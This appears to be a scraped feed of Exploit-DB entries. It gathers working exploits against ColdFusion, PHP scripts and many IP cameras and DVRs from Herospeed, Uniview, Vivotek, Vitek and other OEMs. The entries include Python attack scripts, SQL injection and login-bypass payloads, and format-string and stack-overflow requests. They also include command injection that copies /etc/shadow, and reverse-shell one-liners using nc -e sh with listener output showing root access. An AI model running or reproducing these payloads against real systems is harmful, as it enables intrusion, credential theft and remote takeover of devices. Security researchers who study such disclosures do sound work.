    # Advisory: https://helpx.adobe.com/security/products/coldfusion/apsb17-14.html
    # Category: remote

    # Notes:
    # This is a two-stage deserialization exploit. The code below is the first stage.
    # You will need a JRMPListener (ysoserial) listening at callback_IP:callback_port.
    # After firing this exploit, and once the target server connects back,
    # JRMPListener will deliver the secondary payload for RCE.

    import struct
    import sys
    import requests

    if len(sys.argv) != 5:
    print "Usage: ./cf_blazeds_des.py target_IP target_port callback_IP callback_port"
    quit()

    target_IP = sys.argv[1]
    target_port = sys.argv[2]
    callback_IP = sys.argv[3]
    callback_port = sys.argv[4]

    amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
    '\x07\x33' + 'sun.rmi.server.UnicastRef' + struct.pack('>H', len(callback_IP)) + callback_IP + \
    struct.pack('>I', int(callback_port)) + \
    '\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';

    url = "http://" + target_IP + ":" + target_port + "/flex2gateway/amf"
    headers = {'Content-Type': 'application/x-amf'}
    response = requests.post(url, headers=headers, data=amf_payload, verify=False)

    Entrepreneur Dating Script 2.0.2 - Authentication Bypass

    $
    0
    0
    EDB-ID: 43995
    Author: L0RD
    Published: 2018-02-07
    CVE: N/A
    Type: Webapps
    Platform: PHP
    Aliases: N/A
    Advisory/Source: N/A
    Tags: Authentication Bypass / Credentials Bypass (AB/CB)
    Vulnerable App: N/A

     # Dork: N/A 
    # Date: 2018-02-07
    # Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
    # Vendor Homepage: https://www.phpscriptsmall.com/product/entrepreneur-dating-script/
    # Version: 2.0.2
    # Category: Webapps
    # CVE: N/A
    # # # # #
    # Description:
    # With this exploit,attacker can login as any user without any authentication.
    # # # # #
    # Proof of Concept :

    # 1) First go to login page .

    # 2) Username : anything , Password : ' or 'x'='x

    PoC Video :
    http://s8.picofile.com/file/8318741292/Autentication_Bypass.mp4.html

    Test : http://server/login.php?lerr

    Online Test Script 2.0.7 - 'cid' SQL Injection

    $
    0
    0
    EDB-ID: 43994
    Author: L0RD
    Published: 2018-02-07
    CVE: N/A
    Type: Webapps
    Platform: PHP
    Aliases: N/A
    Advisory/Source: N/A
    Tags: SQL Injection (SQLi)
    Vulnerable App: N/A

     # Dork: N/A 
    # Date: 2018-02-07
    # Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com
    # Vendor Homepage: https://www.phpscriptsmall.com/product/online-test-script/
    # Version: 2.0.7
    # Category: Webapps
    # CVE: N/A
    # # # # #
    # Description:
    # The vulnerability allows an attacker to inject sql commands.
    # # # # #
    # Proof of Concept :

    SQLi:

    # server/login.php?normal&cid=[SQL]

    # Parameter : cid (GET)
    # Type: UNION QUERY
    # Title: Generic UNION query (NULL) - 5 columns
    # payload : /*!00000UNION*/ ALL SELECT
    NULL,/*!00000Concat('L0RD',0x3C62723E,version(),0x3C62723E,user(),0x3C62723E,database())*/,/*!00000group_coNcat(0x3C62723E,table_name,0x3a,column_name)*/,NULL,NULL
    /*!00000from*/ information_schema.columns where table_schema=schema()%23

    Test :
    http://server/login.php?normal&cid=-2%20/*!00000UNION*/%20ALL%20SELECT%20NULL,/*!00000Concat(%27L0RD%27,0x3C62723E,version(),0x3C62723E,user(),0x3C62723E,database())*/,/*!00000group_coNcat(0x3C62723E,table_name,0x3a,column_name)*/,NULL,NULL%20/*!00000from*/%20information_schema.columns%20where%20table_schema=schema()%23

    Multiple OEM - 'nsd' Remote Stack Format String (PoC)

    $
    0
    0
    EDB-ID: 43998
    Author: bashis
    Published: 2017-12-14
    CVE: N/A
    Type: Dos
    Platform: Multiple
    Aliases: N/A
    Advisory/Source: Link
    Tags: N/A
    Vulnerable App: N/A


    Subject: Remote Stack Format String in 'nsd' binary from multiple OEM

    Attack vector: Remote
    Authentication: Anonymous (no credentials needed)
    Researcher: bashis <mcw noemail eu> (December 2017)
    PoC: https://github.com/mcw0/PoC
    Release date: December 14, 2017
    Full Disclosure: 0-Day


    -[ PoC ]-

    1)
    $ curl 'http://[IP:PORT]/main/index.asp?ID=AAAA|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x&lg=BBBB'

    [...]
    function initHideWidget(){
    document.getElementById("devip").value = "192.168.57.20";
    document.getElementById("cameraid").value = 1;
    document.getElementById("streamid").value = 1;
    document.getElementById("id").value = "AAAA|5e2ff9f8|ffffffff|5e3006db|ea60|1|2|1|1|0|20cd3e0|7263733c|20747069";
    document.getElementById("lg").value = "BBBB";
    document.getElementById("port").value = 60000;
    document.getElementById("ipver").value = 1;
    document.getElementById("tprotocol").value = 2;
    document.getElementById("devtype").value = 1;
    document.getElementById("ismotorize").value = 1;

    [...]
    Note: 'BBBB' are hiding within '5e3006db'

    2)
    curl -v "http://[IP:PORT]/Maintain/upgrade.asp?ID=|%p|%p|%p|%p|%p|%p"
    [...]
    function initHideWidget(){
    document.getElementById("ip").value = "192.168.57.20";
    document.getElementById("id").value = "|0x5d300484|0xffffffff|0xea60|0x1|0x2|0x1";
    document.getElementById("port").value = 60000;
    document.getElementById("ipver").value = 1;
    document.getElementById("tprotocol").value = 2;
    document.getElementById("devtype").value = 1;
    [...]


    -[ Affected OEM ]-

    Huatu
    I-View
    IP Camera Web Service
    Stanley Security
    3D Eyes CCTV Platform
    Protech Srl
    LS vision
    GWSECU
    12 Legion Solution
    HDVuk IP Camera
    Intervid Security
    Suzuki Tech
    Wellsite IP Camera
    iBrido
    Protec IP Camera
    Maxtron IP Camera
    Ascendent
    GTvs IP Camera
    Squilla
    Bikal IP Camera
    MW Power
    Alfa Vision
    KMA Security
    Tough Dog Security
    Kpro HQ
    Lanetwork
    AFM Vision
    ZetaDo
    Jobsight Inc.
    Datalab IP Technologies
    4Tvision
    Proline UK
    Tanz
    Aisonic
    HD-IP
    PreSec Security Solution
    EagleVision
    Elemis Delta
    Imenara
    Gigamedia
    Xavee
    Honeywell
    Boss Security
    A.R.T Surveillance
    Global Security
    Securicorp
    Securetech
    Vapplica
    Star
    Stic
    NeXus
    Alnet
    Spy Smart
    Kompsos
    Adler Security Systems
    Nextan
    Access
    Toprotect
    Kawah
    LS StrateX
    Senpei CCTV
    Metcom
    AFM Vision
    Doron Technologies
    Saviour Smart IoT Systems
    Eagle-Eye
    Faucon.at
    BlueEagle Security
    Campro
    Opple
    Level One
    Video and Monitor System
    K&D

    [ETX]


    Herospeed - 'TelnetSwitch' Remote Stack Overflow / Overwrite Password / Enable TelnetD

    $
    0
    0
    EDB-ID: 43997
    Author: bashis
    Published: 2018-01-22
    CVE: N/A
    Type: Remote
    Platform: Hardware
    Aliases: N/A
    Advisory/Source: Link
    Tags: N/A
    Vulnerable App: N/A

     # 
    # Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.
    # Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.
    #
    # [Verified]
    # 1) Fullhan IPC FH8830_F22_W_7.1.42.1
    # 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
    # 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3
    # 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4
    #
    # Author: bashis <mcw noemail eu>, 2018
    #
    import socket
    import select
    import sys
    import argparse
    import base64
    import struct
    import time
    #
    # Validate correctness of HOST, IP and PORT
    #
    class Validate:

    def __init__(self,verbose):
    self.verbose = verbose

    # Check if IP is valid
    def CheckIP(self,IP):
    self.IP = IP

    ip = self.IP.split('.')
    if len(ip) != 4:
    return False
    for tmp in ip:
    if not tmp.isdigit():
    return False
    i = int(tmp)
    if i < 0 or i > 255:
    return False
    return True

    # Check if PORT is valid
    def Port(self,PORT):
    self.PORT = PORT

    if int(self.PORT) < 1 or int(self.PORT) > 65535:
    return False
    else:
    return True

    # Check if HOST is valid
    def Host(self,HOST):
    self.HOST = HOST

    try:
    # Check valid IP
    socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
    # Now we check if it is correct typed IP
    if self.CheckIP(self.HOST):
    return self.HOST
    else:
    return False
    except socket.error as e:
    # Else check valid DNS name, and use the IP address
    try:
    self.HOST = socket.gethostbyname(self.HOST)
    return self.HOST
    except socket.error as e:
    return False


    if __name__ == "__main__":

    INFO = '\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
    rhost = '192.168.57.20' # Default Remote HOST
    rport = 787 # Default Remote PORT
    BUFFER_SIZE = 1024

    try:
    arg_parser = argparse.ArgumentParser(
    prog=sys.argv[0],
    description=('[*] '+ INFO +' [*]'))
    arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
    arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
    args = arg_parser.parse_args()
    except Exception as e:
    print INFO,"\nError: {}\n".format(str(e))
    sys.exit(1)

    print INFO
    if args.rport:
    rport = int(args.rport)

    if args.rhost:
    rhost = args.rhost
    IP = args.rhost

    # Check if RPORT is valid
    if not Validate(True).Port(rport):
    print "[!] Invalid RPORT - Choose between 1 and 65535"
    sys.exit(1)

    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(True).Host(rhost)
    if not rhost:
    print "[!] Invalid RHOST"
    sys.exit(1)

    timeout = 5
    socket.setdefaulttimeout(timeout)

    #
    # [Payload]
    #

    LOGIN = "Lucky787" # Hardcoded login
    #
    # Fullhan IPC FH8830_F22_W_7.1.42.1
    # Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
    #
    PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n" # Our new password, must be exactly 12 char, and must be '\n'
    MESSAGE = ''+ LOGIN + ':' + PASSWD +''
    BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode
    HEAP_PWD = 0x00016c8c # Start of the dynamicly generated password, located on heap

    #
    # HiSilicon 3518EV200_OV9732_W_7.1.25.1
    #
    # PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
    # MESSAGE = ''+ LOGIN + ':' + PASSWD +''
    # BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
    # HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap

    #
    # HiSilicon 3519V100_IMX274_W_7.1.39.3
    #
    # PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
    # MESSAGE = ''+ LOGIN + ':' + PASSWD +''
    # BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
    # HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap

    #
    # Ambarella s2l55m_imx123_W_7.1.25.2
    #
    # PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
    # MESSAGE = ''+ LOGIN + ':' + PASSWD +''
    # BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
    # HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap

    #
    # Ambarella S2E66_IMX178_W_7.1.3.4
    #
    # PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
    # MESSAGE = ''+ LOGIN + ':' + PASSWD +''
    # BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode
    # HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap

    MESSAGE = base64.b64encode(bytes(MESSAGE))
    MESSAGE += BASE64_NULL

    #
    # Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
    #
    for where in range(0, len(PASSWD)):
    OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
    print "Writing to: {}".format(hex(HEAP_PWD))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    s.send(OUT)
    time.sleep(0.5)
    response = s.recv(BUFFER_SIZE).split()
    HEAP_PWD += 0x1 # Next address on heap

    if response[1]:
    if response[1] == "200":
    print "({}) OK, telnetd should be open!".format(response[1])
    break

    Android - 'getpidcon' Permission Bypass in KeyStore Service

    $
    0
    0
    EDB-ID: 43996
    Author: Google Security Research
    Published: 2018-02-07
    CVE: CVE-2017-13236
    Type: Dos
    Platform: Android
    Aliases: N/A
    Advisory/Source: Link
    Tags: N/A
    Vulnerable App: N/A


    Binder calls to this service are unpacked by IKeyStoreService (http://androidxref.com/8.0.0_r4/xref/system/security/keystore/IKeystoreService.cpp), and are then passed on to be processed by KeyStoreService. The "generateKey" command is handled by "KeyStoreService::generateKey" (http://androidxref.com/8.0.0_r4/xref/system/security/keystore/key_store_service.cpp#691). Here is a snippet from this function:

    1. KeyStoreServiceReturnCode KeyStoreService::generateKey(const String16& name,
    2. const hidl_vec<KeyParameter>& params,
    3. const hidl_vec<uint8_t>& entropy, int uid,
    4. int flags,
    5. KeyCharacteristics* outCharacteristics) {
    6. uid = getEffectiveUid(uid);
    7. KeyStoreServiceReturnCode rc =
    8. checkBinderPermissionAndKeystoreState(P_INSERT, uid, flags & KEYSTORE_FLAG_ENCRYPTED);
    9. if (!rc.isOk()) {
    10. return rc;
    11. }
    12. if ((flags & KEYSTORE_FLAG_CRITICAL_TO_DEVICE_ENCRYPTION) && get_app_id(uid) != AID_SYSTEM) {
    13. ALOGE("Non-system uid %d cannot set FLAG_CRITICAL_TO_DEVICE_ENCRYPTION", uid);
    14. return ResponseCode::PERMISSION_DENIED;
    15. }
    16.
    17. if (containsTag(params, Tag::INCLUDE_UNIQUE_ID)) {
    18. if (!checkBinderPermission(P_GEN_UNIQUE_ID)) return ResponseCode::PERMISSION_DENIED;
    19. }
    20. ...
    21. }

    Like most KeyStore calls, this method uses "KeyStoreService::checkBinderPermission" in order to validate the calling process's permissions. This function uses a twofold approach to verify the caller (http://androidxref.com/8.0.0_r4/xref/system/security/keystore/key_store_service.cpp#checkBinderPermission):

    1. The caller's UID is retrieved using IPCThreadState::self()->getCallingUid() and compared against an array of pre-populated UIDs and permissions ("user_perms")
    1.1 If the UID matches any in the array, its permission set is retrieved from the array
    1.2 If the UID isn't in the array, the default permission set is used ("DEFAULT_PERMS")
    2. The caller's SELinux context is retrieved using getpidcon(...) using the PID from the binder transaction (IPCThreadState::self()->getCallingPid())
    2.1 An SELinux access check is performed for the given context and operation

    Specifically to our case, if a "generateKey" command is called with a "INCLUDE_UNIQUE_ID" tag, the KeyStore will use an attestation certificate for the generated key with an application-scoped and time-bounded device-unique ID. Since creating attestation keys is a privileged operation, it should not be carried out by any user.

    This restriction is enforced using the SELinux context enforcement alone -- the "default" permission set ("DEFAULT_PERMS") contains the aforementioned permission:

    static const perm_t DEFAULT_PERMS = static_cast<perm_t>(
    P_GET_STATE | P_GET | P_INSERT | P_DELETE | P_EXIST | P_LIST | P_SIGN | P_VERIFY |
    P_GEN_UNIQUE_ID /* Only privileged apps can do this, but enforcement is done by SELinux */);

    As noted in the comment above, this API is restricted to "priv_app" SELinux contexts, which is enforced using validation #2 above.

    However, using the calling PID in order to enforce access controls in binder calls is an invalid approach. This is since the calling PID can transition from zombie to dead, allowing other PIDs to take its place. Therefore, the following attack flow is possible:

    1. Process A forks and creates process B
    2. Process A cycles pids until it reaches the pid before its own
    3. Process B issues a binder transaction for the KeyStore service, containing an INCLUDE_UNIQUE_ID tag
    4. Process A kills process B, allowing it to transition to dead
    5. Process A spawns a new "priv_app" instance, occupying process B's PID

    If points 4-5 are completed before the KeyStore service performs the "getpidcon" call, the permission check will use the new app's SELinux context, allowing the access control checks to pass. Otherwise, since no ill effects happen if the race fails, an attacker can continue issuing calls until the race succeeds.

    As for spawning a new "priv_app" instance, this can be achieved by issuing a query request to a content provider published by a "priv_app". Many such providers exist (the contacts provider, telephony provider, settings provider, etc.). In this case, I chose to use the "calendar" provider, as it was not running on the device to begin with (and is therefore had to be spawned in order to handle the query request).

    In order to expand the timing window for the PoC, I've added a "sleep" call to the KeyStore service's "generateKey" call. You can find the patch under "keystore.diff".

    After applying the patch, the attached PoC should be built as part of the Android source tree, by extracting the source files into "frameworks/native/cmds/keystorerace", and running a build (e.g., "mmm keystorerace"). The resulting binary ("keystorerace") contains the PoC code. Running it should result in a new device-unique key being generated, despite not being executed from a "priv_app".


    Proof of Concept:
    https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43996.zip

    Uniview - Remote Command Execution / Export Config (PoC)

    $
    0
    0
    EDB-ID: 43999
    Author: bashis
    Published: 2017-10-28
    CVE: N/A
    Type: Remote
    Platform: Multiple
    Aliases: N/A
    Advisory/Source: Link
    Tags: N/A
    Vulnerable App: N/A


    Subject: Uniview RCE and export config PoC
    Researcher: bashis <mcw noemail eu> (October 2017)

    Attack Vector: Remote
    Authentication: Anonymous (no credentials needed)

    [Export config]
    http://IP:PORT/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}

    -[tcpdump]-

    [check active capture]
    http://IP:PORT/cgi-bin/main-cgi?json={"cmd":263,"szUserName":"","u32UserLoginHandle":-1}

    [start capture]
    http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"}

    [stop capture]
    http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":0,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"}

    [download capture]
    http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}

    -[Remote Command Execution]-

    [Get /etc/shadow]
    http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"}

    [get the result]
    http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}

    [ETX]

    Vivotek IP Cameras - Remote Stack Overflow (PoC)

    $
    0
    0
    EDB-ID: 44001
    Author: bashis
    Published: 2017-12-12
    CVE: N/A
    Type: Remote
    Platform: Multiple
    Aliases: N/A
    Advisory/Source: Link
    Tags: N/A
    Vulnerable App: N/A


    Subject: Vivotek IP Cameras - Remote Stack Overflow
    Researcher: bashis <mcw noemail eu> (September-October 2017)
    PoC: https://github.com/mcw0/PoC
    Release date: November 13, 2017
    Full Disclosure: 43 days

    Attack Vector: Remote
    Authentication: Anonymous (no credentials needed)
    Firmware Vulnerable: Only 2017 versions affected
    Firmware Patched: October 2017 and higher

    Device Model:
    CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS,
    FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA,
    FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1,
    FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379,
    FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2,
    FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377,
    IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564,
    MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, VC8101... and possible more

    Download Updated Firmware: http://www.vivotek.com/firmware/


    [Timeline]

    October 1, 2017: Reported findings with all details to Vivotek Cybersecurity
    October 2, 2017: First response from Vivotek
    October 5, 2017: ACK of findings from Vivotek
    October 11, 2017: Vivotek reported first fixed Firmware
    October 12, 2017: After request, Vivotek provided samples of fixed Firmware
    October 17, 2017: Verified fixed Firmware, Vivotek thanking for the help
    October 30, 2017: Noticed new Firmware released, pinged to get some info about their advisory
    November 1, 2017: Agreed on publication November 13, 2017
    November 9, 2017: Checked few release notes, none mention security fix; pinged Vivotek with the question why not.
    November 13, 2017: No reply from Vivotek, Full Disclosure as planned.


    [Details]

    Vivotek using modified version of Boa/0.94.14rc21, and the vulnerability has been introduced by Vivotek.

    The stack overflow is triggered by "PUT" or "POST" request:

    [PUT|POST] /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n

    However,
    the absolutely minimal request to trigger the stack overflow is weird, most probably due to quick hack:
    "[PUT|POST]Content-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"

    This allows us to insert [JUNK] with 'Good bytes' up to 9182 bytes (0x1FFF) of the request:
    "[PUT|POST][JUNK]Content-Length[JUNK]:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"


    Notes:
    1. B to I = $R4-$R11; X = $PC
    2. Size of request availible in $R3 at the LDMFD
    3. Max request size: 9182 bytes (0x1FFF)
    4. "Start with "\n" in "\n\r\n\r\n" needed to jump with 0x00xxxxxx (if not $PC will be 0x0dxxxxxx)
    5. Space (0x20) after ':' in 'Content-Length:' counting as one char of the 20 bytes
    6. Stack not protected with "Stack canaries"
    7. Good bytes: 0x01-0x09, 0x0b-0xff; Bad bytes: 0x00, 0x0a;
    8. heap: Non-executable + Non-ASLR
    9. stack: Non-executable + ASLR


    [PoC]

    $ echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80

    (gdb) target remote 192.168.57.20:23946
    Remote debugging using 192.168.57.20:23946
    0x76eb2c5c in ?? ()
    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x58585858 in ?? ()
    (gdb) bt
    #0 0x58585858 in ?? ()
    #1 0x000188f4 in ?? ()
    Backtrace stopped: previous frame identical to this frame (corrupt stack?)
    (gdb) i reg
    r0 0x1 1
    r1 0x47210 291344
    r2 0x0 0
    r3 0x75 117
    r4 0x42424242 1111638594
    r5 0x43434343 1128481603
    r6 0x44444444 1145324612
    r7 0x45454545 1162167621
    r8 0x46464646 1179010630
    r9 0x47474747 1195853639
    r10 0x48484848 1212696648
    r11 0x49494949 1229539657
    r12 0x1 1
    sp 0x7e92dac0 0x7e92dac0
    lr 0x188f4 100596
    pc 0x58585858 0x58585858
    cpsr 0x60000010 1610612752
    (gdb)


    $ echo -en "PUTContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80

    (gdb) target remote 192.168.57.20:23946
    Remote debugging using 192.168.57.20:23946
    0x76e82c5c in ?? ()
    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x58585858 in ?? ()
    (gdb) bt
    #0 0x58585858 in ?? ()
    #1 0x000188f4 in ?? ()
    Backtrace stopped: previous frame identical to this frame (corrupt stack?)
    (gdb) i reg
    r0 0x1 1
    r1 0x47210 291344
    r2 0x0 0
    r3 0x4f 79
    r4 0x42424242 1111638594
    r5 0x43434343 1128481603
    r6 0x44444444 1145324612
    r7 0x45454545 1162167621
    r8 0x46464646 1179010630
    r9 0x47474747 1195853639
    r10 0x48484848 1212696648
    r11 0x49494949 1229539657
    r12 0x1 1
    sp 0x7ec9cac0 0x7ec9cac0
    lr 0x188f4 100596
    pc 0x58585858 0x58585858
    cpsr 0x60000010 1610612752
    (gdb)

    Have a nice day
    /bashis

    [ETX]

    Vitek - Remote Command Execution / Information Disclosure (PoC)

    $
    0
    0
    EDB-ID: 44000
    Author: bashis
    Published: 2017-12-22
    CVE: N/A
    Type: Remote
    Platform: Multiple
    Aliases: N/A
    Advisory/Source: Link
    Tags: N/A
    Vulnerable App: N/A


    Subject: Vitek RCE and Information Disclosure (and possible other OEM)

    Attack vector: Remote
    Authentication: Anonymous (no credentials needed)
    Researcher: bashis <mcw noemail eu> (December 2017)
    PoC: https://github.com/mcw0/PoC
    Release date: December 22, 2017
    Full Disclosure: 0-day

    heap: Executable + Non-ASLR
    stack: Executable + ASLR

    -[Manufacture Logo]-
    _ _ _ _ _ _ _ _ _ _ _ _
    \ _ _ _ _ _ ___
    / /__/ \ |_/
    / __ / - _ ___
    / / / / / /
    _ _ _ _/ / / \_/ \_ ______
    ___________\___\__________________


    -[OEM (found in the code)]-
    Vitek (http://www.vitekcctv.com/) - Verified: VT-HDOC16BR_Firmware_1.02Y_UI_1.0.1.R
    Thrive
    Wisecon
    Sanyo
    Inodic
    CBC
    Elbex
    Y3K
    KTNC


    -[Stack Overflow RCE]-

    [Reverse netcat shell]

    $ echo -en "GET /dvrcontrol.cgi?nc\x24\x7bIFS\x7d192.168.57.1\x24\x7bIFS\x7d31337\x24\x7bIFS\x7d-e\x24\x7bIFS\x7dsh\x24\x7bIFS\x7d HTTP/1.0\r\nAuthorization Pwned: `for((i=0;i<272;i++)); do echo -en "A";done`\x80\x9a\x73\x02\xc8\x4a\x11\x20\r\n\r\n"|ncat 192.168.57.20 81

    [Listener]

    $ ncat -vlp 31337
    Ncat: Version 7.60 ( https://nmap.org/ncat )
    Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
    Ncat: SHA-1 fingerprint: E672 0A5B B852 8EF9 36D0 E979 2827 1FAD 7482 8A7B
    Ncat: Listening on :::31337
    Ncat: Listening on 0.0.0.0:31337

    Ncat: Connection from 192.168.57.20.
    Ncat: Connection from 192.168.57.20:36356.

    pwd
    /opt/fw

    whoami
    root
    exit
    $

    Note:
    1. Badbytes: 0x00,0x09,0x0a,0x0b,0x0c,0x0d,0x20
    2. 0x20 will be replaced with 0x00 by the H4/H1/N1 binary, use this to jump binary included system() address: 0x00114AC8 [system() call in H4]
    3. 0x02739A0C + 0x74 = $r11 address we need (0x2739A80) to point our CMD string on heap for system() in $r0

    H1:
    VT-HDOC4E_Firmware_1.21A_UI_1.1.C.6
    .rodata:005292E8 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0
    .text:001CD138 SUB R3, R11, #0x74
    .text:001CD13C MOV R0, R3
    .text:001CD140 BL system

    H4:
    VT-HDOC16BR_Firmware_1.02Y_UI_1.0.1.R
    .rodata:00B945A0 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0
    .text:00114AC8 SUB R3, R11, #0x74
    .text:00114ACC MOV R0, R3
    .text:00114AD0 BL system

    N1:
    VT-HDOC8E_Firmware_1.21E_UI_1.1.C.6
    .rodata:004A4AC4 aEchoSOptVideoS DCB "echo %s > /opt/video_standard",0
    .text:001E9F0C SUB R3, R11, #0x74
    .text:001E9F10 MOV R0, R3
    .text:001E9F14 BL system


    -[PHP RCE]-

    Note: /mnt/usb2 must be mounted and R/W... (normally R/O w/o USB stick inserted)

    [Reverse netcat shell (forking)]

    $ curl -v 'http://192.168.57.20:80/cgi-bin/php/htdocs/system/upload_check.php' -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1337" -d "`echo -en "\r\n\r\n------WebKitFormBoundary1337\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n100000000\r\n------WebKitFormBoundary1337\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"\|\|nc\$\{IFS\}\$\{REMOTE_ADDR\}\$\{IFS\}31337\$\{IFS\}-e\$\{IFS\}sh\$\{IFS\}\&\$\{IFS\}\|\|\"\r\nContent-Type: application/gzip\r\n\r\nPWNED\r\n\r\n------WebKitFormBoundary1337--\r\n\r\n"`" -X POST

    200 OK
    [...]
    > ERROR : Current_fw_info File Open Error<br>> ERROR : dvr_upgrade File Open Error<br>F/W File(||nc${IFS}${REMOTE_ADDR}${IFS}31337${IFS}-e${IFS}sh${IFS}&${IFS}||) Upload Completed.<br>If you want to upgrade please click START button<br><br><form enctype="multipart/form-data" action="fw_update.php" method="post"><input type="hidden" name="PHPSESSID" value="67eaa14441089e5d2e7fe6ff0fa88d42" /><input type="submit" value="START"></form> </tbody>
    [...]

    [Listener]

    $ ncat -vlp 31337
    Ncat: Version 7.60 ( https://nmap.org/ncat )
    Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
    Ncat: SHA-1 fingerprint: 76D3 7FA3 396A B9F6 CCA6 CEA5 2EF8 06DF FF72 79EF
    Ncat: Listening on :::31337
    Ncat: Listening on 0.0.0.0:31337
    Ncat: Connection from 192.168.57.20.
    Ncat: Connection from 192.168.57.20:52726.

    pwd
    /opt/www/htdocs/system

    whoami
    nobody

    ls -l /mnt/usb2/
    total 4
    drwxrwxrwx 2 nobody nobody 0 Dec 16 02:55 dvr
    -rw------- 1 nobody nobody 7 Dec 16 02:55 ||nc${IFS}${REMOTE_ADDR}${IFS}31337${IFS}-e${IFS}sh${IFS}&${IFS}||
    exit
    $

    -[Login / Password Disclosure]-

    curl -v "http://192.168.57.20:80/menu.env" | hexdump -C
    [binary config, login and password can be found for admin login and all connected cameras]

    Admin l/p
    [...]
    00001380 00 00 00 00 01 01 00 01 01 01 01 00 00 00 00 00 |................|
    00001390 00 00 00 00 00 41 44 4d 49 4e 00 00 00 00 00 00 |.....ADMIN......|
